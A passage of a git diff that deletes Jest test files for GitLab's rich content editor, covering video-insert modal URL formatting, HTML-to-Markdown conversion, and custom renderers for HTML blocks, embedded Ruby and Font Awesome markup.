- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/modals/insert_video_modal_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/modals/insert_video_modal_spec.js
deleted file mode 100644
index 3e9eaf58181..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/modals/insert_video_modal_spec.js
+++ /dev/null
@@ -1,44 +0,0 @@
-import { GlModal } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import InsertVideoModal from '~/vue_shared/components/rich_content_editor/modals/insert_video_modal.vue';
-
-describe('Insert Video Modal', () => {
- let wrapper;
-
- const findModal = () => wrapper.find(GlModal);
- const findUrlInput = () => wrapper.find({ ref: 'urlInput' });
-
- const triggerInsertVideo = (url) => {
- const preventDefault = jest.fn();
- findUrlInput().vm.$emit('input', url);
- findModal().vm.$emit('primary', { preventDefault });
- };
-
- beforeEach(() => {
- wrapper = shallowMount(InsertVideoModal);
- });
-
- afterEach(() => wrapper.destroy());
-
- describe('when content is loaded', () => {
- it('renders a modal component', () => {
- expect(findModal().exists()).toBe(true);
- });
-
- it('renders an input to add a URL', () => {
- expect(findUrlInput().exists()).toBe(true);
- });
- });
-
- describe('insert video', () => {
- it.each`
- url | emitted
- ${'https://www.youtube.com/embed/someId'} | ${[['https://www.youtube.com/embed/someId']]}
- ${'https://www.youtube.com/watch?v=1234'} | ${[['https://www.youtube.com/embed/1234']]}
- ${'::youtube.com/invalid/url'} | ${undefined}
- `('formats the url correctly', ({ url, emitted }) => {
- triggerInsertVideo(url);
- expect(wrapper.emitted('insertVideo')).toEqual(emitted);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/rich_content_editor_integration_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/rich_content_editor_integration_spec.js
deleted file mode 100644
index 47b1abd2ad2..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/rich_content_editor_integration_spec.js
+++ /dev/null
@@ -1,69 +0,0 @@
-import Editor from '@toast-ui/editor';
-import buildMarkdownToHTMLRenderer from '~/vue_shared/components/rich_content_editor/services/build_custom_renderer';
-import { registerHTMLToMarkdownRenderer } from '~/vue_shared/components/rich_content_editor/services/editor_service';
-
-describe('vue_shared/components/rich_content_editor', () => {
- let editor;
-
- const buildEditor = () => {
- editor = new Editor({
- el: document.body,
- customHTMLRenderer: buildMarkdownToHTMLRenderer(),
- });
-
- registerHTMLToMarkdownRenderer(editor);
- };
-
- beforeEach(() => {
- buildEditor();
- });
-
- describe('HTML to Markdown', () => {
- it('uses "-" character list marker in unordered lists', () => {
- editor.setHtml('<ul><li>List item 1</li><li>List item 2</li></ul>');
-
- const markdown = editor.getMarkdown();
-
- expect(markdown).toBe('- List item 1\n- List item 2');
- });
-
- it('does not increment the list marker in ordered lists', () => {
- editor.setHtml('<ol><li>List item 1</li><li>List item 2</li></ol>');
-
- const markdown = editor.getMarkdown();
-
- expect(markdown).toBe('1. List item 1\n1. List item 2');
- });
-
- it('indents lists using four spaces', () => {
- editor.setHtml('<ul><li>List item 1</li><ul><li>List item 2</li></ul></ul>');
-
- const markdown = editor.getMarkdown();
-
- expect(markdown).toBe('- List item 1\n - List item 2');
- });
-
- it('uses * for strong and _ for emphasis text', () => {
- editor.setHtml('<strong>strong text</strong><i>emphasis text</i>');
-
- const markdown = editor.getMarkdown();
-
- expect(markdown).toBe('**strong text**_emphasis text_');
- });
- });
-
- describe('Markdown to HTML', () => {
- it.each`
- input | output
- ${'markdown with _emphasized\ntext_'} | ${'<p>markdown with <em>emphasized text</em></p>\n'}
- ${'markdown with **strong\ntext**'} | ${'<p>markdown with <strong>strong text</strong></p>\n'}
- `(
- 'does not transform softbreaks inside (_) and strong (**) nodes into <br/> tags',
- ({ input, output }) => {
- editor.setMarkdown(input);
-
- expect(editor.getHtml()).toBe(output);
- },
- );
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/rich_content_editor_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/rich_content_editor_spec.js
deleted file mode 100644
index 8eb880b3984..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/rich_content_editor_spec.js
+++ /dev/null
@@ -1,222 +0,0 @@
-import { Editor, mockEditorApi } from '@toast-ui/vue-editor';
-import { shallowMount } from '@vue/test-utils';
-import {
- EDITOR_TYPES,
- EDITOR_HEIGHT,
- EDITOR_PREVIEW_STYLE,
- CUSTOM_EVENTS,
-} from '~/vue_shared/components/rich_content_editor/constants';
-import AddImageModal from '~/vue_shared/components/rich_content_editor/modals/add_image/add_image_modal.vue';
-import InsertVideoModal from '~/vue_shared/components/rich_content_editor/modals/insert_video_modal.vue';
-import RichContentEditor from '~/vue_shared/components/rich_content_editor/rich_content_editor.vue';
-
-import {
- addCustomEventListener,
- removeCustomEventListener,
- addImage,
- insertVideo,
- registerHTMLToMarkdownRenderer,
- getEditorOptions,
- getMarkdown,
-} from '~/vue_shared/components/rich_content_editor/services/editor_service';
-
-jest.mock('~/vue_shared/components/rich_content_editor/services/editor_service', () => ({
- addCustomEventListener: jest.fn(),
- removeCustomEventListener: jest.fn(),
- addImage: jest.fn(),
- insertVideo: jest.fn(),
- registerHTMLToMarkdownRenderer: jest.fn(),
- getEditorOptions: jest.fn(),
- getMarkdown: jest.fn(),
-}));
-
-describe('Rich Content Editor', () => {
- let wrapper;
-
- const content = '## Some Markdown';
- const imageRoot = 'path/to/root/';
- const findEditor = () => wrapper.find({ ref: 'editor' });
- const findAddImageModal = () => wrapper.find(AddImageModal);
- const findInsertVideoModal = () => wrapper.find(InsertVideoModal);
-
- const buildWrapper = async () => {
- wrapper = shallowMount(RichContentEditor, {
- propsData: { content, imageRoot },
- stubs: {
- ToastEditor: Editor,
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- describe('when content is loaded', () => {
- const editorOptions = {};
-
- beforeEach(() => {
- getEditorOptions.mockReturnValueOnce(editorOptions);
- buildWrapper();
- });
-
- it('renders an editor', () => {
- expect(findEditor().exists()).toBe(true);
- });
-
- it('renders the correct content', () => {
- expect(findEditor().props().initialValue).toBe(content);
- });
-
- it('provides options generated by the getEditorOptions service', () => {
- expect(findEditor().props().options).toBe(editorOptions);
- });
-
- it('has the correct preview style', () => {
- expect(findEditor().props().previewStyle).toBe(EDITOR_PREVIEW_STYLE);
- });
-
- it('has the correct initial edit type', () => {
- expect(findEditor().props().initialEditType).toBe(EDITOR_TYPES.wysiwyg);
- });
-
- it('has the correct height', () => {
- expect(findEditor().props().height).toBe(EDITOR_HEIGHT);
- });
- });
-
- describe('when content is changed', () => {
- beforeEach(() => {
- buildWrapper();
- });
-
- it('emits an input event with the changed content', () => {
- const changedMarkdown = '## Changed Markdown';
- getMarkdown.mockReturnValueOnce(changedMarkdown);
-
- findEditor().vm.$emit('change');
-
- expect(wrapper.emitted().input[0][0]).toBe(changedMarkdown);
- });
- });
-
- describe('when content is reset', () => {
- beforeEach(() => {
- buildWrapper();
- });
-
- it('should reset the content via setMarkdown', () => {
- const newContent = 'Just the body content excluding the front matter for example';
- const mockInstance = { invoke: jest.fn() };
- wrapper.vm.$refs.editor = mockInstance;
-
- wrapper.vm.resetInitialValue(newContent);
-
- expect(mockInstance.invoke).toHaveBeenCalledWith('setMarkdown', newContent);
- });
- });
-
- describe('when editor is loaded', () => {
- const formattedMarkdown = 'formatted markdown';
-
- beforeEach(() => {
- mockEditorApi.getMarkdown.mockReturnValueOnce(formattedMarkdown);
- buildWrapper();
- });
-
- afterEach(() => {
- mockEditorApi.getMarkdown.mockReset();
- });
-
- it('adds the CUSTOM_EVENTS.openAddImageModal custom event listener', () => {
- expect(addCustomEventListener).toHaveBeenCalledWith(
- wrapper.vm.editorApi,
- CUSTOM_EVENTS.openAddImageModal,
- wrapper.vm.onOpenAddImageModal,
- );
- });
-
- it('adds the CUSTOM_EVENTS.openInsertVideoModal custom event listener', () => {
- expect(addCustomEventListener).toHaveBeenCalledWith(
- wrapper.vm.editorApi,
- CUSTOM_EVENTS.openInsertVideoModal,
- wrapper.vm.onOpenInsertVideoModal,
- );
- });
-
- it('registers HTML to markdown renderer', () => {
- expect(registerHTMLToMarkdownRenderer).toHaveBeenCalledWith(wrapper.vm.editorApi);
- });
-
- it('emits load event with the markdown formatted by Toast UI', () => {
- mockEditorApi.getMarkdown.mockReturnValueOnce(formattedMarkdown);
- expect(mockEditorApi.getMarkdown).toHaveBeenCalled();
- expect(wrapper.emitted('load')[0]).toEqual([{ formattedMarkdown }]);
- });
- });
-
- describe('when editor is destroyed', () => {
- beforeEach(() => {
- buildWrapper();
- });
-
- it('removes the CUSTOM_EVENTS.openAddImageModal custom event listener', () => {
- wrapper.vm.$destroy();
-
- expect(removeCustomEventListener).toHaveBeenCalledWith(
- wrapper.vm.editorApi,
- CUSTOM_EVENTS.openAddImageModal,
- wrapper.vm.onOpenAddImageModal,
- );
- });
-
- it('removes the CUSTOM_EVENTS.openInsertVideoModal custom event listener', () => {
- wrapper.vm.$destroy();
-
- expect(removeCustomEventListener).toHaveBeenCalledWith(
- wrapper.vm.editorApi,
- CUSTOM_EVENTS.openInsertVideoModal,
- wrapper.vm.onOpenInsertVideoModal,
- );
- });
- });
-
- describe('add image modal', () => {
- beforeEach(() => {
- buildWrapper();
- });
-
- it('renders an addImageModal component', () => {
- expect(findAddImageModal().exists()).toBe(true);
- });
-
- it('calls the onAddImage method when the addImage event is emitted', () => {
- const mockImage = { imageUrl: 'some/url.png', altText: 'some description' };
- const mockInstance = { exec: jest.fn() };
- wrapper.vm.$refs.editor = mockInstance;
-
- findAddImageModal().vm.$emit('addImage', mockImage);
- expect(addImage).toHaveBeenCalledWith(mockInstance, mockImage, undefined);
- });
- });
-
- describe('insert video modal', () => {
- beforeEach(() => {
- buildWrapper();
- });
-
- it('renders an insertVideoModal component', () => {
- expect(findInsertVideoModal().exists()).toBe(true);
- });
-
- it('calls the onInsertVideo method when the insertVideo event is emitted', () => {
- const mockUrl = 'https://www.youtube.com/embed/someId';
- const mockInstance = { exec: jest.fn() };
- wrapper.vm.$refs.editor = mockInstance;
-
- findInsertVideoModal().vm.$emit('insertVideo', mockUrl);
- expect(insertVideo).toHaveBeenCalledWith(mockInstance, mockUrl);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/build_custom_renderer_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/build_custom_renderer_spec.js
deleted file mode 100644
index a823d04024d..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/build_custom_renderer_spec.js
+++ /dev/null
@@ -1,32 +0,0 @@
-import buildCustomHTMLRenderer from '~/vue_shared/components/rich_content_editor/services/build_custom_renderer';
-
-describe('Build Custom Renderer Service', () => {
- describe('buildCustomHTMLRenderer', () => {
- it('should return an object with the default renderer functions when lacking arguments', () => {
- expect(buildCustomHTMLRenderer()).toEqual(
- expect.objectContaining({
- htmlBlock: expect.any(Function),
- htmlInline: expect.any(Function),
- heading: expect.any(Function),
- item: expect.any(Function),
- paragraph: expect.any(Function),
- text: expect.any(Function),
- softbreak: expect.any(Function),
- }),
- );
- });
-
- it('should return an object with both custom and default renderer functions when passed customRenderers', () => {
- const mockHtmlCustomRenderer = jest.fn();
- const customRenderers = {
- html: [mockHtmlCustomRenderer],
- };
-
- expect(buildCustomHTMLRenderer(customRenderers)).toEqual(
- expect.objectContaining({
- html: expect.any(Function),
- }),
- );
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer_spec.js
deleted file mode 100644
index 3caf03dabba..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer_spec.js
+++ /dev/null
@@ -1,218 +0,0 @@
-import buildHTMLToMarkdownRenderer from '~/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer';
-import { attributeDefinition } from './renderers/mock_data';
-
-describe('rich_content_editor/services/html_to_markdown_renderer', () => {
- let baseRenderer;
- let htmlToMarkdownRenderer;
- let fakeNode;
-
- beforeEach(() => {
- baseRenderer = {
- trim: jest.fn((input) => `trimmed ${input}`),
- getSpaceCollapsedText: jest.fn((input) => `space collapsed ${input}`),
- getSpaceControlled: jest.fn((input) => `space controlled ${input}`),
- convert: jest.fn(),
- };
-
- fakeNode = { nodeValue: 'mock_node', dataset: {} };
- });
-
- afterEach(() => {
- htmlToMarkdownRenderer = null;
- });
-
- describe('TEXT_NODE visitor', () => {
- it('composes getSpaceControlled, getSpaceCollapsedText, and trim services', () => {
- htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer);
-
- expect(htmlToMarkdownRenderer.TEXT_NODE(fakeNode)).toBe(
- `space controlled trimmed space collapsed ${fakeNode.nodeValue}`,
- );
- });
- });
-
- describe('LI OL, LI UL visitor', () => {
- const oneLevelNestedList = '\n * List item 1\n * List item 2';
- const twoLevelNestedList = '\n * List item 1\n * List item 2';
- const spaceInContentList = '\n * List item 1\n * List item 2';
-
- it.each`
- list | indentSpaces | result
- ${oneLevelNestedList} | ${2} | ${'\n * List item 1\n * List item 2'}
- ${oneLevelNestedList} | ${3} | ${'\n * List item 1\n * List item 2'}
- ${oneLevelNestedList} | ${6} | ${'\n * List item 1\n * List item 2'}
- ${twoLevelNestedList} | ${4} | ${'\n * List item 1\n * List item 2'}
- ${spaceInContentList} | ${1} | ${'\n * List item 1\n * List item 2'}
- `('changes the list indentation to $indentSpaces spaces', ({ list, indentSpaces, result }) => {
- htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer, {
- subListIndentSpaces: indentSpaces,
- });
-
- baseRenderer.convert.mockReturnValueOnce(list);
-
- expect(htmlToMarkdownRenderer['LI OL, LI UL'](fakeNode, list)).toBe(result);
- expect(baseRenderer.convert).toHaveBeenCalledWith(fakeNode, list);
- });
- });
-
- describe('UL LI visitor', () => {
- it.each`
- listItem | unorderedListBulletChar | result | bulletChar
- ${'* list item'} | ${undefined} | ${'- list item'} | ${'default'}
- ${' - list item'} | ${'*'} | ${' * list item'} | ${'*'}
- ${' * list item'} | ${'-'} | ${' - list item'} | ${'-'}
- `(
- 'uses $bulletChar bullet char in unordered list items when $unorderedListBulletChar is set in config',
- ({ listItem, unorderedListBulletChar, result }) => {
- htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer, {
- unorderedListBulletChar,
- });
- baseRenderer.convert.mockReturnValueOnce(listItem);
-
- expect(htmlToMarkdownRenderer['UL LI'](fakeNode, listItem)).toBe(result);
- expect(baseRenderer.convert).toHaveBeenCalledWith(fakeNode, listItem);
- },
- );
-
- it('detects attribute definitions and attaches them to the list item', () => {
- const listItem = '- list item';
- const result = `${listItem}\n${attributeDefinition}\n`;
-
- fakeNode.dataset.attributeDefinition = attributeDefinition;
- htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer);
- baseRenderer.convert.mockReturnValueOnce(`${listItem}\n`);
-
- expect(htmlToMarkdownRenderer['UL LI'](fakeNode, listItem)).toBe(result);
- });
- });
-
- describe('OL LI visitor', () => {
- it.each`
- listItem | result | incrementListMarker | action
- ${'2. list item'} | ${'1. list item'} | ${false} | ${'increments'}
- ${' 3. list item'} | ${' 1. list item'} | ${false} | ${'increments'}
- ${' 123. list item'} | ${' 1. list item'} | ${false} | ${'increments'}
- ${'3. list item'} | ${'3. list item'} | ${true} | ${'does not increment'}
- `(
- '$action a list item counter when incrementListMaker is $incrementListMarker',
- ({ listItem, result, incrementListMarker }) => {
- const subContent = null;
-
- htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer, {
- incrementListMarker,
- });
- baseRenderer.convert.mockReturnValueOnce(listItem);
-
- expect(htmlToMarkdownRenderer['OL LI'](fakeNode, subContent)).toBe(result);
- expect(baseRenderer.convert).toHaveBeenCalledWith(fakeNode, subContent);
- },
- );
- });
-
- describe('STRONG, B visitor', () => {
- it.each`
- input | strongCharacter | result
- ${'**strong text**'} | ${'_'} | ${'__strong text__'}
- ${'__strong text__'} | ${'*'} | ${'**strong text**'}
- `(
- 'converts $input to $result when strong character is $strongCharacter',
- ({ input, strongCharacter, result }) => {
- htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer, {
- strong: strongCharacter,
- });
-
- baseRenderer.convert.mockReturnValueOnce(input);
-
- expect(htmlToMarkdownRenderer['STRONG, B'](fakeNode, input)).toBe(result);
- expect(baseRenderer.convert).toHaveBeenCalledWith(fakeNode, input);
- },
- );
- });
-
- describe('EM, I visitor', () => {
- it.each`
- input | emphasisCharacter | result
- ${'*strong text*'} | ${'_'} | ${'_strong text_'}
- ${'_strong text_'} | ${'*'} | ${'*strong text*'}
- `(
- 'converts $input to $result when emphasis character is $emphasisCharacter',
- ({ input, emphasisCharacter, result }) => {
- htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer, {
- emphasis: emphasisCharacter,
- });
-
- baseRenderer.convert.mockReturnValueOnce(input);
-
- expect(htmlToMarkdownRenderer['EM, I'](fakeNode, input)).toBe(result);
- expect(baseRenderer.convert).toHaveBeenCalledWith(fakeNode, input);
- },
- );
- });
-
- describe('H1, H2, H3, H4, H5, H6 visitor', () => {
- it('detects attribute definitions and attaches them to the heading', () => {
- const heading = 'heading text';
- const result = `${heading.trimRight()}\n${attributeDefinition}\n\n`;
-
- fakeNode.dataset.attributeDefinition = attributeDefinition;
- htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer);
- baseRenderer.convert.mockReturnValueOnce(`${heading}\n\n`);
-
- expect(htmlToMarkdownRenderer['H1, H2, H3, H4, H5, H6'](fakeNode, heading)).toBe(result);
- });
- });
-
- describe('PRE CODE', () => {
- let node;
- const subContent = 'sub content';
- const originalConverterResult = 'base result';
-
- beforeEach(() => {
- node = document.createElement('PRE');
-
- node.innerText = 'reference definition content';
- node.dataset.sseReferenceDefinition = true;
-
- baseRenderer.convert.mockReturnValueOnce(originalConverterResult);
- htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer);
- });
-
- it('returns raw text when pre node has sse-reference-definitions class', () => {
- expect(htmlToMarkdownRenderer['PRE CODE'](node, subContent)).toBe(
- `\n\n${node.innerText}\n\n`,
- );
- });
-
- it('returns base result when pre node does not have sse-reference-definitions class', () => {
- delete node.dataset.sseReferenceDefinition;
-
- expect(htmlToMarkdownRenderer['PRE CODE'](node, subContent)).toBe(originalConverterResult);
- });
- });
-
- describe('IMG', () => {
- const originalSrc = 'path/to/image.png';
- const alt = 'alt text';
- let node;
-
- beforeEach(() => {
- node = document.createElement('img');
- node.alt = alt;
- node.src = originalSrc;
- });
-
- it('returns an image with its original src of the `original-src` attribute is preset', () => {
- node.dataset.originalSrc = originalSrc;
- node.src = 'modified/path/to/image.png';
-
- htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer);
-
- expect(htmlToMarkdownRenderer.IMG(node)).toBe(`![${alt}](${originalSrc})`);
- });
-
- it('fallback to `src` if no `original-src` is specified on the image', () => {
- htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer);
- expect(htmlToMarkdownRenderer.IMG(node)).toBe(`![${alt}](${originalSrc})`);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/build_uneditable_token_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/build_uneditable_token_spec.js
deleted file mode 100644
index 7a7e3055520..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/build_uneditable_token_spec.js
+++ /dev/null
@@ -1,88 +0,0 @@
-import {
- buildTextToken,
- buildUneditableOpenTokens,
- buildUneditableCloseToken,
- buildUneditableCloseTokens,
- buildUneditableBlockTokens,
- buildUneditableInlineTokens,
- buildUneditableHtmlAsTextTokens,
-} from '~/vue_shared/components/rich_content_editor/services/renderers/build_uneditable_token';
-
-import {
- originInlineToken,
- originToken,
- uneditableOpenTokens,
- uneditableCloseToken,
- uneditableCloseTokens,
- uneditableBlockTokens,
- uneditableInlineTokens,
- uneditableTokens,
-} from './mock_data';
-
-describe('Build Uneditable Token renderer helper', () => {
- describe('buildTextToken', () => {
- it('returns an object literal representing a text token', () => {
- const text = originToken.content;
- expect(buildTextToken(text)).toStrictEqual(originToken);
- });
- });
-
- describe('buildUneditableOpenTokens', () => {
- it('returns a 2-item array of tokens with the originToken appended to an open token', () => {
- const result = buildUneditableOpenTokens(originToken);
-
- expect(result).toHaveLength(2);
- expect(result).toStrictEqual(uneditableOpenTokens);
- });
- });
-
- describe('buildUneditableCloseToken', () => {
- it('returns an object literal representing the uneditable close token', () => {
- expect(buildUneditableCloseToken()).toStrictEqual(uneditableCloseToken);
- });
- });
-
- describe('buildUneditableCloseTokens', () => {
- it('returns a 2-item array of tokens with the originToken prepended to a close token', () => {
- const result = buildUneditableCloseTokens(originToken);
-
- expect(result).toHaveLength(2);
- expect(result).toStrictEqual(uneditableCloseTokens);
- });
- });
-
- describe('buildUneditableBlockTokens', () => {
- it('returns a 3-item array of tokens with the originToken wrapped in the middle of block tokens', () => {
- const result = buildUneditableBlockTokens(originToken);
-
- expect(result).toHaveLength(3);
- expect(result).toStrictEqual(uneditableTokens);
- });
- });
-
- describe('buildUneditableInlineTokens', () => {
- it('returns a 3-item array of tokens with the originInlineToken wrapped in the middle of inline tokens', () => {
- const result = buildUneditableInlineTokens(originInlineToken);
-
- expect(result).toHaveLength(3);
- expect(result).toStrictEqual(uneditableInlineTokens);
- });
- });
-
- describe('buildUneditableHtmlAsTextTokens', () => {
- it('returns a 3-item array of tokens with the htmlBlockNode wrapped as a text token in the middle of block tokens', () => {
- const htmlBlockNode = {
- type: 'htmlBlock',
- literal: '<div data-tomark-pass ><h1>Some header</h1><p>Some paragraph</p></div>',
- };
- const result = buildUneditableHtmlAsTextTokens(htmlBlockNode);
- const { type, content } = result[1];
-
- expect(type).toBe('text');
- expect(content).not.toMatch(/ data-tomark-pass /);
-
- expect(result).toHaveLength(3);
- expect(result).toStrictEqual(uneditableBlockTokens);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_attribute_definition_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_attribute_definition_spec.js
deleted file mode 100644
index 69fd9a67a21..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_attribute_definition_spec.js
+++ /dev/null
@@ -1,25 +0,0 @@
-import renderer from '~/vue_shared/components/rich_content_editor/services/renderers/render_attribute_definition';
-import { attributeDefinition } from './mock_data';
-
-describe('rich_content_editor/renderers/render_attribute_definition', () => {
- describe('canRender', () => {
- it.each`
- input | result
- ${{ literal: attributeDefinition }} | ${true}
- ${{ literal: `FOO${attributeDefinition}` }} | ${false}
- ${{ literal: `${attributeDefinition}BAR` }} | ${false}
- ${{ literal: 'foobar' }} | ${false}
- `('returns $result when input is $input', ({ input, result }) => {
- expect(renderer.canRender(input)).toBe(result);
- });
- });
-
- describe('render', () => {
- it('returns an empty HTML comment', () => {
- expect(renderer.render()).toEqual({
- type: 'html',
- content: '<!-- sse-attribute-definition -->',
- });
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_embedded_ruby_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_embedded_ruby_spec.js
deleted file mode 100644
index 0c59d9f569b..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_embedded_ruby_spec.js
+++ /dev/null
@@ -1,24 +0,0 @@
-import renderer from '~/vue_shared/components/rich_content_editor/services/renderers/render_embedded_ruby_text';
-import { renderUneditableLeaf } from '~/vue_shared/components/rich_content_editor/services/renderers/render_utils';
-
-import { buildMockTextNode, normalTextNode } from './mock_data';
-
-const embeddedRubyTextNode = buildMockTextNode('<%= partial("some/path") %>');
-
-describe('Render Embedded Ruby Text renderer', () => {
- describe('canRender', () => {
- it('should return true when the argument `literal` has embedded ruby syntax', () => {
- expect(renderer.canRender(embeddedRubyTextNode)).toBe(true);
- });
-
- it('should return false when the argument `literal` lacks embedded ruby syntax', () => {
- expect(renderer.canRender(normalTextNode)).toBe(false);
- });
- });
-
- describe('render', () => {
- it('should delegate rendering to the renderUneditableLeaf util', () => {
- expect(renderer.render).toBe(renderUneditableLeaf);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_font_awesome_html_inline_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_font_awesome_html_inline_spec.js
deleted file mode 100644
index c1aaed6f0c3..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_font_awesome_html_inline_spec.js
+++ /dev/null
@@ -1,33 +0,0 @@
-import { buildUneditableInlineTokens } from '~/vue_shared/components/rich_content_editor/services/renderers/build_uneditable_token';
-import renderer from '~/vue_shared/components/rich_content_editor/services/renderers/render_font_awesome_html_inline';
-
-import { normalTextNode } from './mock_data';
-
-const fontAwesomeInlineHtmlNode = {
- firstChild: null,
- literal: '<i class="far fa-paper-plane" id="biz-tech-icons">',
- type: 'html',
-};
-
-describe('Render Font Awesome Inline HTML renderer', () => {
- describe('canRender', () => {
- it('should return true when the argument `literal` has font awesome inline html syntax', () => {
- expect(renderer.canRender(fontAwesomeInlineHtmlNode)).toBe(true);
- });
-
- it('should return false when the argument `literal` lacks font awesome inline html syntax', () => {
- expect(renderer.canRender(normalTextNode)).toBe(false);
- });
- });
-
- describe('render', () => {
- it('should return uneditable inline tokens', () => {
- const token = { type: 'text', tagName: null, content: fontAwesomeInlineHtmlNode.literal };
- const context = { origin: () => token };
-
- expect(renderer.render(fontAwesomeInlineHtmlNode, context)).toStrictEqual(
- buildUneditableInlineTokens(token),
- );
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_heading_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_heading_spec.js
deleted file mode 100644
index 76abc1ec3d8..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_heading_spec.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import renderer from '~/vue_shared/components/rich_content_editor/services/renderers/render_heading';
-import * as renderUtils from '~/vue_shared/components/rich_content_editor/services/renderers/render_utils';
-
-describe('rich_content_editor/renderers/render_heading', () => {
- it('canRender delegates to renderUtils.willAlwaysRender', () => {
- expect(renderer.canRender).toBe(renderUtils.willAlwaysRender);
- });
-
- it('render delegates to renderUtils.renderWithAttributeDefinitions', () => {
- expect(renderer.render).toBe(renderUtils.renderWithAttributeDefinitions);
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_html_block_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_html_block_spec.js
deleted file mode 100644
index 234f6a4d4ca..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_html_block_spec.js
+++ /dev/null
@@ -1,37 +0,0 @@
-import { buildUneditableHtmlAsTextTokens } from '~/vue_shared/components/rich_content_editor/services/renderers/build_uneditable_token';
-import renderer from '~/vue_shared/components/rich_content_editor/services/renderers/render_html_block';
-
-describe('rich_content_editor/services/renderers/render_html_block', () => {
- const htmlBlockNode = {
- literal: '<div><h1>Heading</h1><p>Paragraph.</p></div>',
- type: 'htmlBlock',
- };
-
- describe('canRender', () => {
- it.each`
- input | result
- ${htmlBlockNode} | ${true}
- ${{ literal: '<iframe></iframe>', type: 'htmlBlock' }} | ${true}
- ${{ literal: '<iframe src="https://www.youtube.com"></iframe>', type: 'htmlBlock' }} | ${false}
- ${{ literal: '<iframe></iframe>', type: 'text' }} | ${false}
- `('returns $result when input=$input', ({ input, result }) => {
- expect(renderer.canRender(input)).toBe(result);
- });
- });
-
- describe('render', () => {
- const htmlBlockNodeToMark = {
- firstChild: null,
- literal: '<div data-to-mark ></div>',
- type: 'htmlBlock',
- };
-
- it.each`
- node
- ${htmlBlockNode}
- ${htmlBlockNodeToMark}
- `('should return uneditable tokens wrapping the $node as a token', ({ node }) => {
- expect(renderer.render(node)).toStrictEqual(buildUneditableHtmlAsTextTokens(node));
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_identifier_instance_text_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_identifier_instance_text_spec.js
deleted file mode 100644
index 425d0f41bcd..00000000000
--- a/spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_identifier_instance_text_spec.js
+++ /dev/null
@@ -1,55 +0,0 @@
-import { buildUneditableInlineTokens } from '~/vue_shared/components/rich_content_editor/services/renderers/build_uneditable_token';
-import renderer from '~/vue_shared/components/rich_content_editor/services/renderers/render_identifier_instance_text';
-
-import { buildMockTextNode, normalTextNode } from './mock_data';
-
-const mockTextStart = 'Majority example ';
-const mockTextMiddle = '[environment terraform plans][terraform]';
-const mockTextEnd = '.';
-const identifierInstanceStartTextNode = buildMockTextNode(mockTextStart);
-const identifierInstanceEndTextNode = buildMockTextNode(mockTextEnd);
-
-describe('Render Identifier Instance Text renderer', () => {
- describe('canRender', () => {
- it.each`
- node | target
- ${normalTextNode} | ${false}
- ${identifierInstanceStartTextNode} | ${false}
- ${identifierInstanceEndTextNode} | ${false}
- ${buildMockTextNode(mockTextMiddle)} | ${true}
- ${buildMockTextNode('Minority example [environment terraform plans][]')} | ${true}
- ${buildMockTextNode('Minority example [environment terraform plans]')} | ${true}
- `(
- 'should return $target when the $node validates against identifier instance syntax',
- ({ node, target }) => {
- expect(renderer.canRender(node)).toBe(target);
- },
- );
- });
-
- describe('render', () => {
